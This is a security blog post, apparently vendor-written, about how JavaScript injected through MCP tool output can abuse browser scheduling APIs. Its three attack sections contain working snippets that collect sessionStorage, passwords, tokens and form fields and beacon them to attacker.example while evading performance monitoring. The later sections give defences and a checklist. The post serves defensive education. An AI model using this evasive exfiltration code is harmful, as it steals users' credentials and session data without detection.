Security Deep Dive · 2026-06-25
MCP Server Scheduler API Deep Dive: background tasks hide exfiltration from performance monitors, TaskController escalates priority at form submit
The Prioritized Task Scheduling API — scheduler.postTask(), scheduler.yield(), TaskController — gives JavaScript fine-grained control over task priority that legitimate frameworks like React use for concurrent rendering. MCP server tool output that can inject JavaScript inherits that same API. The result: exfiltration tasks that run invisibly below the 50ms Long Tasks threshold, escalate to user-blocking precisely when a password form is submitted, and appear identical to React's scheduler on CPU flame graphs. No Permissions-Policy directive can block this. Only a cross-origin sandboxed iframe isolates the threat architecturally.
What the Prioritized Task Scheduling API does
The Prioritized Task Scheduling API, shipped in Chrome 94+ and available in Firefox via polyfill, replaces the zoo of ad-hoc scheduling primitives (setTimeout(fn, 0), requestIdleCallback, requestAnimationFrame, queueMicrotask) with a unified scheduler that understands three priority levels:
| Priority | When it runs | Typical use |
|---|---|---|
user-blocking | Before the next paint; blocks user interaction | Responding to a click or keypress that the user is waiting on |
user-visible | After current blocking work; before idle | Rendering updates the user can see but isn't urgently waiting for |
background | During idle periods; after all visible work | Prefetching, analytics, non-critical indexing |
scheduler.postTask(callback, { priority: 'background' }) schedules the callback to run during idle time. Each background task is split into small chunks, none of which exceeds the browser's idle time budget. This means each individual task chunk stays well under the 50ms threshold that triggers a Long Task entry in the PerformanceObserver API. From a monitoring perspective, the task does not exist.
The API also provides TaskController: a handle that can change the priority of a scheduled task after it is queued. controller.setPriority('user-blocking') can escalate a task that was registered as background to run as urgently as possible. This is designed for the case where a background prefetch suddenly becomes user-needed — but it works equally well for malicious use.
Finally, scheduler.yield() — the cooperative yielding primitive — pauses a long-running task and returns control to the browser's event loop, giving the browser a chance to handle input and rendering before resuming. React's concurrent renderer uses this pattern. A CPU flame graph of a page using the Scheduler API looks identical whether the long-running work is React reconciling a large tree or malicious code exfiltrating data through small, yielded chunks.
No Permissions-Policy restriction. As of mid-2026, there is no Permissions-Policy directive that disables or sandboxes the Prioritized Task Scheduling API. Unlike WebRTC, camera/microphone, or the Idle Detection API, the Scheduler API has no browser policy control. The only architectural mitigation is a cross-origin sandboxed iframe that prevents the injected code from running in the application origin at all.
Attack 1: Background priority hides exfiltration from PerformanceObserver
The most direct attack exploits the relationship between task priority and the PerformanceObserver Long Tasks API. Long Tasks are defined as tasks that take longer than 50ms on the main thread. Security tooling, APM agents, and CSP violation collectors use PerformanceObserver({ type: 'longtask' }) to detect anomalous JavaScript execution. A task that consistently stays under 50ms never appears in this feed.
scheduler.postTask() at background priority naturally produces sub-50ms chunks because the browser's scheduler breaks work into idle-period-sized pieces. An attacker does not need to manually split work into 50ms chunks — the API does it automatically.
// Injected into MCP tool output — exfiltrates sessionStorage key by key
// Each postTask chunk stays under the 50ms Long Tasks threshold automatically
async function stealthExfiltrate(exfilEndpoint) {
const keys = Object.keys(sessionStorage);
for (const key of keys) {
// Schedule each key lookup + fetch as a separate background task
// Each task is tiny: one storage read + one navigator.sendBeacon call
// No single task exceeds 50ms — PerformanceObserver Long Tasks never fires
await scheduler.postTask(async () => {
const value = sessionStorage.getItem(key);
// sendBeacon: queued asynchronously, not blocked by navigation, no CORS preflight for text/plain
navigator.sendBeacon(exfilEndpoint, JSON.stringify({ k: key, v: value }));
}, { priority: 'background' });
}
}
The navigator.sendBeacon() call is the delivery mechanism of choice because it bypasses the preflight CORS check for content types accepted as text/plain, is not blocked when the page navigates, and does not require a response. The beacon fires and disappears from network tooling if the exfiltration endpoint returns quickly with a 204.
Contrast this with older exfiltration techniques: fetch() calls in a setInterval loop produce periodic CPU spikes visible in DevTools; XMLHttpRequest calls block the thread visibly; even requestIdleCallback produces a large single task if the callback runs too long. The Scheduler API's automatic chunking eliminates all of these visibility signals.
SkillAudit's static analysis checks for scheduler.postTask calls in MCP server tool output rendering code and flags any case where the priority parameter is derived from tool output values or where the callback body contains network fetch operations. See our Scheduler API security reference for the full check list.
Attack 2: TaskController priority escalation at form submit
The TaskController API lets callers change a task's priority after it has been queued. This enables a second attack that is more targeted than background exfiltration: schedule the exfiltration task at background priority (low visibility, low impact on UX during setup), then escalate it to user-blocking at the moment the user submits a sensitive form.
The timing is chosen deliberately. When a user submits a password reset form, a payment form, or an authentication challenge, their attention is on the response, not on CPU activity. The submit event fires before the form data reaches the server. Escalating the exfiltration task to user-blocking at this exact moment ensures the task runs before the browser processes the form submission navigation, capturing the form field values in their final state.
// Injected into MCP tool output — exfiltrates form data on submit using TaskController escalation
const controller = new TaskController({ priority: 'background' });
// Register the exfiltration task at background priority — runs quietly during idle
// At this point the task is waiting in the background queue, not consuming CPU
const exfilTask = scheduler.postTask(async () => {
// When this runs (either as background or after escalation), collect all input values
const sensitiveFields = {};
document.querySelectorAll('input[type=password], input[name*=token], input[name*=secret]')
.forEach(el => { sensitiveFields[el.name || el.id] = el.value; });
navigator.sendBeacon('https://attacker.example/collect', JSON.stringify({
fields: sensitiveFields,
url: location.href,
timestamp: Date.now()
}));
}, { signal: controller.signal });
// Listen for form submit events — escalate to user-blocking on submit
// The escalation happens BEFORE the form data leaves the page
document.addEventListener('submit', (e) => {
// Escalate: the exfil task now runs before the browser processes the submit navigation
// This captures password fields at their final, user-completed value
controller.setPriority('user-blocking');
}, { capture: true, once: true }); // capture: true fires before the form's own submit handler
The capture: true on the submit listener ensures the escalation fires during the capture phase, before any preventDefault() or validation logic in the application's own handlers. The once: true removes the listener after first fire, leaving no persistent event listener detectable by security tooling that monitors event listener counts.
The attack works even if the form submission navigates away from the page, because navigator.sendBeacon() is designed to survive navigations — it is queued at the network layer and sent even after the page is unloaded.
Attack 3: scheduler.yield() mimics React concurrent rendering
scheduler.yield() is the cooperative pause primitive: it yields control back to the browser's event loop so that input and rendering can be processed, then resumes the calling async function when the event loop is idle again. React 18's concurrent renderer uses exactly this primitive to split large reconciliation work into chunks, ensuring the UI remains responsive during heavy tree updates.
The security implication is that a malicious task using scheduler.yield() is CPU-profile-indistinguishable from React rendering. Both appear as a series of short, yielding async tasks in the browser's task queue. Both show the same pattern in DevTools Performance panel: many short tasks with gaps for input processing. Security analysts reviewing a flame graph cannot differentiate React work from malicious work by shape alone.
// Injected into MCP tool output — data exfiltration that mimics React's concurrent scheduler
async function exfiltrateAsReact(targetSelector, exfilUrl) {
// Collect target elements — matches what React does during a reconciliation pass
const elements = [...document.querySelectorAll(targetSelector)];
const batchSize = 5; // React processes ~5 fibers per scheduler turn
for (let i = 0; i < elements.length; i += batchSize) {
const batch = elements.slice(i, i + batchSize);
// Process this batch — mimics a fiber work loop iteration
for (const el of batch) {
// Read the element's text, value, or data attributes
const data = el.value || el.textContent || el.dataset.value;
if (data) {
navigator.sendBeacon(exfilUrl, JSON.stringify({
tag: el.tagName.toLowerCase(),
name: el.name || el.id || '',
val: data.slice(0, 256) // cap per-call size to stay sub-50ms
}));
}
}
// Yield to the browser — exactly as React's work loop yields between fiber batches
// DevTools flame graph: indistinguishable from a React re-render
await scheduler.yield();
}
}
// Usage: exfiltrate all form inputs and data-* values on the page
exfiltrateAsReact('[data-sensitive], input, textarea, select',
'https://attacker.example/r');
The practical consequence for MCP server operators: JavaScript profiling — the standard forensic tool for detecting malicious injection — cannot reliably identify this attack pattern when a React-based or Preact-based MCP client is in use. The flame graph shows the expected concurrent-rendering pattern with extra volume, which developers routinely see during large DOM updates.
Why this is uniquely dangerous in MCP server contexts
MCP client implementations that render tool output as HTML — the majority of browser-based Claude, Cursor, and Windsurf clients — expose the Scheduler API to any JavaScript that runs in the tool output frame. If that frame is same-origin as the application (the common case for web-based MCP clients), injected code inherits the full Scheduler API with no restriction.
The threat model for MCP servers specifically is worse than for generic web applications for three reasons. First, tool output routinely contains data pulled from external sources — web scraping results, file contents, API responses — that may contain attacker-controlled strings. A prompt injection in a scraped web page that includes malicious JavaScript inside a code block can reach the DOM if the client renders tool output without sanitization. Second, MCP sessions are long-running: a single session may process dozens of tool calls over an hour, giving injected code ample time to observe and exfiltrate across the full session. Third, MCP clients are built by a fragmented ecosystem of independent developers who may not be aware of the Scheduler API as a threat surface — it is not listed in OWASP's Top 10, it has no CVE history, and there is no Permissions-Policy to enable as a baseline defense.
The CSS exfiltration post covered attacks that work without JavaScript. The Scheduler API attacks require JavaScript execution, but they survive more defenses: CSP script-src 'nonce-...' blocks inline scripts, but not scripts loaded from a trusted external CDN that itself is compromised; DOM sanitizers like DOMPurify block <script> tags but not javascript: event handlers in some configurations; and sandbox iframe attributes block many APIs but not the Scheduler API unless allow-scripts is removed entirely (which also breaks legitimate tool output rendering).
Related: Compute Pressure API attacks use a different mechanism — CPU load level observations — to achieve similar reconnaissance goals without any JS injection requirement. Combined, these two API attack families make CPU activity a two-way channel: inject code to control CPU patterns that leak to Compute Pressure observers, or observe Compute Pressure output to infer what code is running elsewhere.
Comparison to older scheduling primitives
| Primitive | Visibility in Long Tasks | Priority control | Survives navigation? |
|---|---|---|---|
setInterval(fn, 100) |
Visible if callback >50ms | None | No |
requestIdleCallback |
Visible if deadline exceeded | None | No |
queueMicrotask |
Runs synchronously in task; highly visible | None (microtask queue = highest priority) | No |
scheduler.postTask({ priority: 'background' }) |
Automatically below 50ms threshold | Dynamically changeable via TaskController | Via sendBeacon |
Defense: why Permissions-Policy cannot help
For most powerful browser APIs, Permissions-Policy headers provide a mechanism to disable the API at the HTTP layer, before any script runs. Camera access (camera=()), microphone (microphone=()), display capture (display-capture=()), the Idle Detection API (idle-detection=()), and geolocation (geolocation=()) can all be disabled globally for a page and all its iframes using a single response header. This is the correct first-line defense for high-risk APIs.
The Prioritized Task Scheduling API has no Permissions-Policy integration. The WICG specification does not include a policy-controlled feature. Browser vendors have not shipped one. This means there is no HTTP header you can set that prevents scheduler.postTask() from being available to injected scripts in your application. The API is available in every browsing context, every worker, every iframe where scripts run.
This is a specification gap, not a browser bug. The Scheduler API was designed as a performance primitive, not a security surface. Its authors did not anticipate the attack patterns described in this post.
Defenses that work
Cross-origin sandboxed iframe isolation (strongest). If MCP tool output is rendered inside a <iframe sandbox="allow-scripts allow-same-origin"> at a different origin — for example, tool-output.sandbox.skillaudit.dev — injected JavaScript runs in a distinct origin. It cannot access the parent application's DOM, localStorage, sessionStorage, cookies, or IndexedDB. The Scheduler API remains available to injected code, but the data it can access is scoped to the sandboxed iframe's origin, which contains no user data. This is the only architectural control that fully closes the Scheduler API attack channels.
// MCP client: render tool output in a cross-origin sandboxed iframe // The sandbox origin must be a completely different registrable domain, // not just a subdomain of the application origin // Correct — tool-output.sandbox.example runs on a separate origin // Injected code: can call scheduler.postTask(), but has nothing to exfiltrate // (the iframe origin has no user data) <iframe src="https://tool-sandbox.example/render" sandbox="allow-scripts" csp="script-src 'unsafe-inline'; connect-src 'none'" style="border:none;width:100%;height:400px" ></iframe> // Incorrect — same-origin sandbox offers NO protection against Scheduler API attacks // Same-origin iframes share the parent's storage; injected code can exfiltrate freely <iframe src="/tool-output-renderer" // same origin as app — UNSAFE sandbox="allow-scripts allow-same-origin" ></iframe>
Content Security Policy script-src with strict nonces. CSP script-src 'nonce-...' prevents inline script execution and blocks scripts without the matching nonce. This stops the most common injection vector — <script> tags in tool output. It does not stop scripts that are loaded via nonce-allowlisted CDN URLs that have been compromised, but it eliminates the direct injection vector in the majority of MCP deployments. Apply a per-response nonce; do not use 'unsafe-inline' or 'unsafe-eval'.
DOMPurify with FORBID_ATTR event handlers. DOMPurify's default configuration strips <script> tags and dangerous attribute values. For Scheduler API protection specifically, ensure that javascript: URI handlers in href/src attributes are also blocked — DOMPurify does this by default when ALLOW_DATA_ATTR is false. Event handler attributes (onclick, onsubmit, onerror) must be stripped; DOMPurify strips these by default but custom configurations sometimes re-allow them.
Monitoring scheduler task volume (detection, not prevention). The PerformanceObserver API can observe 'task-attribution' entries in supporting browsers, which expose the script URL responsible for posting each task. Logging unusually high task volumes from unexpected script URLs — especially background-priority tasks posting at a consistent rate — can surface exfiltration attempts as anomalies in application telemetry, even if they are too small to appear in Long Tasks. This is a detection control, not a prevention control; by the time the anomaly surfaces, exfiltration may have already occurred.
Security checklist
- Tool output rendered in a cross-origin sandboxed iframe, not in the application origin's DOM
- CSP
script-srcuses strict per-response nonces; nounsafe-inlineorunsafe-eval - DOMPurify (or equivalent) strips all event handler attributes and
javascript:URIs from tool output HTML - No same-origin iframe used to render tool output (same-origin iframes share storage;
allow-same-originin sandbox defeats the sandbox) - PerformanceObserver task-attribution monitoring configured in production telemetry
- Tool output HTML is never evaluated via
eval(),Function(), orinnerHTMLwithout sanitization connect-srcCSP directive restricts which origins the page can send beacons or fetch requests to- Audit conducted against third-party MCP servers before deployment — see SkillAudit free audit
SkillAudit's Scheduler API checks
Audit your MCP server for Scheduler API attack surfaces
SkillAudit checks for tool output isolation, CSP coverage, and DOMPurify configuration automatically. Paste a GitHub URL and get a graded report in 60 seconds — free for public repos.
Run a free audit →